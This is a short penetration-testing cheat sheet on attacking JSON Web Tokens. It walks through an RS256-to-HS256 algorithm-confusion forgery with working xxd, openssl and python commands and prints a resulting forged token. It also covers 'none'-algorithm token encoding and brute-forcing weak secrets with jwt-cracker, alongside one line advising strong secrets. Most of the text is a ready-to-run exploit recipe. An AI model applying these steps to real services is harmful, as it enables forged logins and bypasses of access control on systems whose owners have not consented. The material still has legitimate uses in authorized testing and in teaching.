JWT - security

JWT tool (Cracking/changing JWT's)

git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <jwt_token> <options>

More info:

    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%Token#jwt-tool
        

Edit RS256 JWT token into HS256

1. Convert our public key (key.pem) into HEX with this command.

cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

2. Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a

(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0

3. Convert signature (Hex to "base64 URL")

python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"

4. Add signature to edited payload

[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
        

Encode JWT payload with 'none' Algorithm

Attached Download Example Usage:
    ./jwt-none-alg /path/to/payload_file.json
        

Crack JWT Secret

# jwt-cracker
Effective only to crack JWT tokens with weak secrets. Recommendation: Use strong long secrets or RS256 tokens.

Install:
    npm install --global jwt-cracker

Usage:
    jwt-cracker <token> [alphabet] [max-length]